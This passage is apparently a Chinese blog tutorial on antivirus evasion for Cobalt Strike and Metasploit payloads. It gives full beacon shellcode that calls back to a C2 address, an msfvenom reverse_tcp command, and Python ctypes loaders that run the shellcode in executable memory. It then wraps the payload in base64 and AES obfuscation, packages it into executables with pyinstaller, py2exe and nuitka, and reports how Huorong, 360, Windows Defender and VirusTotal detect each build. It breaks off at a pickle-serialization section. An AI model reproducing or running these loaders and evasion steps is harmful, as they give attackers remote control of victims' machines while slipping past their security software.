一、前言
内网已经学的七七八八了(主要是实验环境太麻烦了,累了),今天就开启新的篇章——免杀。免杀我们主要是对生成的shellcode做免杀,而不是对生成的exe做免杀。为啥呢,你可以这样理解,exe已经是成品了,再怎么免杀也做不了东西了。就像一道菜已经做好了,就很难再去做调料了。而shellcode只是个半成品,咋免杀都行,最后再编译成exe即可。就像一道半成品的菜,随便加调料都无所谓,这么一说估计都明白了。
二、实验环境
这里主要是用Windows Defender、火绒、360安全卫士这几个主流的杀毒软件来测试,shellcode用CS生成或者MSF生成都没事,一样的。
CS shellcode上线测试
我们先到CS生成一段shellcode,选择payload生成器,输出选C或者其它都行。
生成的shellcode。
有了shellcode,还需要加载器才能执行,因为shellcode是不能直接执行的。其实对加载器来做文章的话也可以达到免杀的效果,但是没有对shellcode做文章的效果好。这里我要吐槽一下,下面这个加载器是运行不了的,包括小迪还有很多博主的文章都用这个加载,但他们都行。估计是我电脑啥的问题。
#调用kernel32.dll动态链接库中的VirtualAlloc函数申请内存
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
#调用kernel32.dll动态链接库中的RtlMoveMemory函数将shellcode移动到申请的内存中
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
#创建线程并执行shellcode
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
我的电脑这个用这个加载器才行,你也可以试试这两个看看那个行。
//和上面的差不多,只是将bite转为64位的地址
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
在python编译器运行即可看到CS上线,shellcode就是我们刚刚生成的,记得前面加个b,转化为字节流。
import ctypes
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\x5c\x11\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x54\x4a\x79\x46\x00\x6b\xbf\x47\xe3\xcd\xe6\xa7\x7b\x3c\x24\x24\xb3\x0d\x12\x20\xc2\x4a\x43\x67\x01\x40\xec\x3b\x80\x77\xa8\x6f\x32\x67\x5a\x0f\xa3\xbb\x1d\xd1\x9f\x3f\x65\x1a\x71\xf6\x31\x08\xd8\x6d\x53\xb6\x7d\xe2\x2d\x0c\x16\xe7\x4d\x2c\xe5\x49\x13\x7a\x7b\x30\x57\x4d\x8d\x0f\xe1\xdc\xc3\xe0\x52\xdc\xae\xae\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x33\x2e\x30\x2e\x30\x34\x35\x30\x36\x2e\x33\x30\x29\x0d\x0a\x00\x73\x20\xd6\xab\x45\x36\x77\xdc\xc4\x13\x66\xa6\x82\x7a\xab\xd0\xca\xf6\xc9\x40\xa5\x6c\xd7\xfc\x4f\x2c\x27\xd2\x07\x4d\x17\x3c\x9e\xe6\xf2\x16\xd6\xe0\x49\x73\x97\xf6\x47\x4b\xa5\x6b\x8f\xb5\x0a\xd2\x26\xa9\xe5\xc8\xd9\x4d\xd1\xe5\x2f\xfc\xb7\x8b\xdd\x8f\xca\x84\xf4\xf0\x3f\xfb\xe4\x32\x5f\x8e\x9d\xd5\xc8\x87\xb2\x5a\xf2\x33\xd7\x2b\x80\x47\xe5\xbc\x2a\x29\xbb\x84\x4e\x3e\x07\x09\x03\x44\x5c\x1b\x6c\x88\x32\x76\x36\xca\x10\xc7\x20\x64\x19\x8c\xf6\x36\x3c\x18\xd9\x52\x52\x3b\x90\xa3\x83\x90\xc5\xbd\x5c\x8b\xb4\xc0\x26\x1b\x3d\xb8\xe2\x97\x8c\x94\x0c\xdb\xb5\x32\x57\x0a\x33\x69\x3f\xf1\x88\x26\x9a\xb8\x3e\x2f\xf2\xdc\xbf\x07\x0d\x6d\x6d\xd1\x7b\xf8\xa9\xbb\xfe\x26\xcd\x35\xf0\x00\x1c\xeb\x9b\x6e\x50\x3f\x97\x44\x9e\xcb\xa9\xb4\x71\x65\xf8\x23\x95\x54\xfe\x1f\xea\x5e\x09\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x34\x35\x2e\x31\x37\x31\x00\x3a\xde\x68\xb1"
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
MSF shellcode上线测试
MSF生成shellcode。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.145.171 lport=2222 -f c
注意一次下,MSF生成的shellcode是有换行的,所以要拼接一下,直接手动拼接好吧。
import ctypes
shellcode = b"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x57\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x01\xd3\x50\x8b\x48\x18\x85\xc9\x74\x3c\x49\x31\xff\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x91\xab\x68\x02\x00\x08\xae\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
但是执行了之后,MSF并没有返回session,不知道为啥,有大佬可以解释一下吗。既然不行,那么接下来的实验都是用CS生成的shellcode来进行。
三、base64加密
最简单的就是直接用base64对shellcode进行加密,然后在执行的时候再解密即可。
import base64
shellcode = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\x5c\x11\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x54\x4a\x79\x46\x00\x6b\xbf\x47\xe3\xcd\xe6\xa7\x7b\x3c\x24\x24\xb3\x0d\x12\x20\xc2\x4a\x43\x67\x01\x40\xec\x3b\x80\x77\xa8\x6f\x32\x67\x5a\x0f\xa3\xbb\x1d\xd1\x9f\x3f\x65\x1a\x71\xf6\x31\x08\xd8\x6d\x53\xb6\x7d\xe2\x2d\x0c\x16\xe7\x4d\x2c\xe5\x49\x13\x7a\x7b\x30\x57\x4d\x8d\x0f\xe1\xdc\xc3\xe0\x52\xdc\xae\xae\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x37\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x33\x2e\x30\x2e\x30\x34\x35\x30\x36\x2e\x33\x30\x29\x0d\x0a\x00\x73\x20\xd6\xab\x45\x36\x77\xdc\xc4\x13\x66\xa6\x82\x7a\xab\xd0\xca\xf6\xc9\x40\xa5\x6c\xd7\xfc\x4f\x2c\x27\xd2\x07\x4d\x17\x3c\x9e\xe6\xf2\x16\xd6\xe0\x49\x73\x97\xf6\x47\x4b\xa5\x6b\x8f\xb5\x0a\xd2\x26\xa9\xe5\xc8\xd9\x4d\xd1\xe5\x2f\xfc\xb7\x8b\xdd\x8f\xca\x84\xf4\xf0\x3f\xfb\xe4\x32\x5f\x8e\x9d\xd5\xc8\x87\xb2\x5a\xf2\x33\xd7\x2b\x80\x47\xe5\xbc\x2a\x29\xbb\x84\x4e\x3e\x07\x09\x03\x44\x5c\x1b\x6c\x88\x32\x76\x36\xca\x10\xc7\x20\x64\x19\x8c\xf6\x36\x3c\x18\xd9\x52\x52\x3b\x90\xa3\x83\x90\xc5\xbd\x5c\x8b\xb4\xc0\x26\x1b\x3d\xb8\xe2\x97\x8c\x94\x0c\xdb\xb5\x32\x57\x0a\x33\x69\x3f\xf1\x88\x26\x9a\xb8\x3e\x2f\xf2\xdc\xbf\x07\x0d\x6d\x6d\xd1\x7b\xf8\xa9\xbb\xfe\x26\xcd\x35\xf0\x00\x1c\xeb\x9b\x6e\x50\x3f\x97\x44\x9e\xcb\xa9\xb4\x71\x65\xf8\x23\x95\x54\xfe\x1f\xea\x5e\x09\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x7f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x34\x35\x2e\x31\x37\x31\x00\x3a\xde\x68\xb1"
en_shellcode = base64.b64encode(shellcode)
print(en_shellcode)
把shellcode换成加密后的en_shellcode,执行前再解密一下即可。
import ctypes
import base64
shellcode = b'/EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulPXWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH/9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn/9XpkwAAAFpIicFBuFwRAABNMclBUUFRagNBUUG6V4mfxv/V63lbSInBSDHSSYnYTTHJUmgAMsCEUlJBuutVLjv/1UiJxkiDw1BqCl9IifG6HwAAAGoAaIAzAABJieBBuQQAAABBunVGnob/1UiJ8UiJ2knHwP9NMclSUkG6LQYYe//VhcAPhZ0BAABI/88PhIwBAADrs+nkAQAA6IL///8vVEp5RgBrv0fjzeanezwkJLMNEiDCSkNnAUDsO4B3qG8yZ1oPo7sd0Z8/ZRpx9jEI2G1Ttn3iLQwW500s5UkTenswV02ND+Hcw+BS3K6uAFVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChjb21wYXRpYmxlOyBNU0lFIDcuMDsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy4wLjA0NTA2LjMwKQ0KAHMg1qtFNnfcxBNmpoJ6q9DK9slApWzX/E8sJ9IHTRc8nubyFtbgSXOX9kdLpWuPtQrSJqnlyNlN0eUv/LeL3Y/KhPTwP/vkMl+OndXIh7Ja8jPXK4BH5bwqKbuETj4HCQNEXBtsiDJ2NsoQxyBkGYz2NjwY2VJSO5Cjg5DFvVyLtMAmGz244peMlAzbtTJXCjNpP/GIJpq4Pi/y3L8HDW1t0Xv4qbv+Js018AAc65tuUD+XRJ7LqbRxZfgjlVT+H+peCQBBvvC1olb/1UgxyboAAEAAQbgAEAAAQblAAAAAQbpYpFPl/9VIk1NTSInnSInxSInaQbgAIAAASYn5QboSloni/9VIg8QghcB0tmaLB0gBw4XAdddYWFhIBQAAAABQw+h//f//MTkyLjE2OC4xNDUuMTcxADreaLE='
shellcode = base64.b64decode(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode),0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
执行后成功上线CS。
我们来测试一下其免杀效果,这里用三款常用python打包器,将py文件打包成exe。分别是pyinstaller、py2exe、nuitka,值得注意的是不同的打包器,打包后的exe免杀效果也不同。
pyinstaller
怎么安装就不说了,其实就是python的一个模块来的,直接执行命令安装即可。如果打包成以一个单个的执行文件就参数-F,-w就是在运行的时候不弹出黑窗口。
-i 或 -icon 生成icon
-F 创建一个绑定的可执行文件
-w 使用窗口,无控制台
-C 使用控制台,无窗口
-D 创建一个包含可执行文件的单文件夹包(默认情况下)
-n 文件名
执行命令,把我们刚刚的py文件打包为exe。
pyinstaller --onefile --distpath . 22.py
火绒免杀失败
这里显示360查杀失败,但是不太可能的,估计是360杀毒出了问题。
我又放了个原生态的上去测,但是能检测到,奇怪了,难道真的过了???顺便说一下,360如果当前没检测出来,它会过一会再去检测,所以可以等一会看看有没有被杀掉。
WD能过,把后门执行起来后依旧检测不到。
VT测试,有21个杀毒引擎检测到。
py2exe
这个打包器要写个setup.py文件,来指明要打包那个文件。
from distutils.core import setup
import py2exe
setup(console=['11.py'])
python setup.py py2exe
生成一个11.exe文件,火绒免杀失败。
360杀毒过了,但是前面说过,360杀毒出了问题,所以不具参考性。
WD还是没发现问题,这么厉害的吗。
VT测试,有9个杀毒引擎检测到。
nuitka
这个玩意安装挺麻烦的,哎,三个之中最麻烦就是它,但是它打包的exe也是最小的,也是最久的感觉(可能是我的问题),使用参数自己搜吧。
# 使用默认参数打包file_downloader.py
nuitka --standalone "E:\python_downloader\file_downloader_gui.py"
# 指定使用MinGW6编译,使用tkinter插件,隐藏控制台,指定程序图标
nuitka --standalone --mingw64 --enable-plugin=tk-inter --windows-disable-console --windows-icon-from-ico="E:\python_downloader\images\ico\file_downloader.ico" "E:\python_downloader\file_downloader_gui.py"
# 显示进度、内存信息,清理build文件夹
nuitka --standalone --windows-disable-console --show-progress --show-memory --remove-output "E:\python_downloader\file_downloader.py"
# 设置产品信息
nuitka --standalone --company-name=icy --product-name=file_downloader --file-version=1.0 --product-version=1.0 --file-description="多线程下载器" "E:\python_downloader\file_downloader_gui.py"
# 把需要的都加上吧
nuitka --standalone --mingw64 --enable-plugin=tk-inter --windows-disable-console --show-progress --show-memory --remove-output --windows-icon-from-ico="E:\python_downloader\images\ico\file_downloader.ico" --company-name=icy --product-name=file_downloader --file-version=1.0 --product-version=1.0 --file-description="多线程下载器" "E:\python_downloader\file_downloader_gui.py"
火绒免杀失败。
360免杀失败,这个360一会行一会又不行。
WD免杀成功。
VT测试,有13个杀毒引擎检测到。
四、AES+base64
我们换更为复杂一点的加密方式,AES加密。加密脚本呢我是从网上找的,网上很多算法脚本的,
这是用来AES加解密的函数。
# 加密函数
def encrypt(text):
key = '9999999999999999'.encode('utf-8')
mode = AES.MODE_CBC
iv = b'qqqqqqqqqqqqqqqq'
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
#print(base64.b64decode(cipher_text))
# 因为AES加密后的字符串不一定是ascii字符集的,输出保存可能存在问题,所以这里转为16进制字符串
return b2a_hex(cipher_text)
#解密函数
def decrypt(text):
key = '9999999999999999'.encode('utf-8')
iv = b'qqqqqqqqqqqqqqqq'
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(a2b_hex(text))
shellcode=bytes.decode(plain_text).rstrip('\0')
return shellcode
上面我们经过base64编码过后其实是基本不可能实现免杀的,我们可以在base64编码过后再进行AES加密。执行的时候先AES解密,再base64解码,最后再执行就可以了。
if __name__ == '__main__':
e='0f23cc5e972386745d4ffb6aadeb036f64f5a1771cc397c073948d588edf1b22bc95facdd0b4cd56be754a4d937c808669d12a0c82c2f95186a7626126eeb12c0f03d0463da70ff23407f80713830f58bab078e36ab85b75235dbc4ab0fbdec88441a2dc021083aa223ed5eccc1cce0375d1e1bb9cff50fec0ca3c29783f5178c5cdf6a03567f9efa86f0b17b6d6bae00bb8331f67522386fe8244a95779131ae91432459ad1dcc427c7d07492463ff40bf0fa71e29dfaadcc132974dd188eed4298dc2ebc10dfa3034962be5a6f170caf41a33b3184950595b2a8993e06631b3689dae36948e1b364eef8a6674655281fa18dc4f4260a55cf6f56b0ae1b7f72a9b364cb4af4e818d3ed0347e5f40db157ec32ae458f18307242c826226624de95859eb6de09ab939bbe9147fa32b31ee52decf269d9a43a77b6b304518e48d43e24f75f329ea206a78335c62ec2b38a5838ac8941e60a1defba7a9d2e8a4f6035c0952b5b60b40f45541c45d43f9373e62ddaa40ab9115bd4ad824899281b4f4a8e64f78cc41bccdc7924455c555c43ec20b886a49dcf26a62455a420c1e1502fed40051cd9b334d1d89f88efc5823b399937b25b0f5093cfbf7dedf15ada5eef93e8704c39d98af8b3ab78d83987fff2ca58f74b3076586e8eec46e64541bd03a5ebfc1ab25f9cc033e9273719defedbeffb6890f44d6dfb7fe8abc40eca123ed7b9f6013610f9f4d2e4beef99f5e14b7a51abdc9d037ec434856305b7d8361f11606996066b2d391350939ed90ee37e4cc94608e35a74d7d5f52a6a01e872608317b90aa3c00aeb863fba5e21036b620b9c08cfb256d8b38fb2c14e6d1b252b747884a8c652e2f779a517965eb438e229af3c189c6db9d93535b34485735c28fdd2c7afa2d17251c394e11b2f1adb645d946d061ee7d60ed3802341012baf5ceff64e2314eaabb5a82274cbef1a1e58eadb458c0d5834f712c28a899ff80e58b3b9019f419926f79895f519866c4726fb528a69ffa276026b0b4d4c21168f11d5d98c705394accf8a7022c84b1c66a07335636c6aa984346a79625f5a916871004b624a6eb901c5502160b463d82975e1a6a8332b3e0c5ed5e5b80244b55428ea08b93d752de6595ab33beb43b5546356d2acc2e5db5d77df9e718b953d888b4ef91845a62dd584f22975701c088b41ef3688b4d97146288d228b3a138020c0fb904c8614c0fb008461d08ff75c72af0b19655e639f45ef0035bca88f932dba836609b0117f543160dc011cd20787be4db63d71fe90a14bb56980745027ec52d741540912157801c0989a396a8a7d60d170085b698ab4aeebc29b3f51c1c55597b3788540dc28ae4087a1acd34573ece59081bd2f90dc5249d37c620a02db77f6aebbdfb9f9911a00d053102be5fb5cde376802499c88c53bb0affb7fed70d9fa802dbd04010aae5cf2899f5feb0d02401a0c459a698b04a13aa59a17e81f8c48790e6385fc7df70b560f0dfadc86c17766e614f573a0e2dfe8038cbc19fb44e436335f9ece5df9504f862730877909a888d193b91cfd03474df198afe8e5b7903a3f7dcf7ba8fa584dc881be34e2fc829f7ee1ce37f57c0c2b8a238df9ba07bc53219db5b8e34e629cd6dfdf5297743f05346783187e84ec080137e065255d541d8a518361e7e4efad73bc6ced4cf95c46767cfc5b3cf3781b6d591eb9d084a99b9f1d2098a27560efa2e8234d1913cef8b8f6cf58de4685d2d64dd01e91'
d = decrypt(e) # AES解密
d=base64.b64decode(d) #base64解码
zhixing(d) #执行shellcode
打包成exe看一下免杀效果。
pyinstaller
火绒免杀失败。
这次360居然查杀到了,这个玩意时好时坏的。
WD还是过,怀疑出问题了,而且运行起来还是检测不到。
VT测试,有12个杀毒引擎检测到。
py2exe
火绒免杀失败。
360一落地就被杀掉了。
WD依旧没查出。
VT测试,有10个杀毒引擎检测到。
nuitk
火绒免杀失败。
360免杀失败
WD依旧啥也没有。
VT测试,有13个杀毒引擎检测到。
五、序列化+base64
这个序列化和上面的加密有点不一样,上面是单纯对shellcode做文章。而序列化呢是对其一整个包括shellcode和执行代码一起序列化,再base64编码一下,最后解码,再反序列化并且执行代码即可。
import pickle
import base64
#python序列化
shellcode = '''
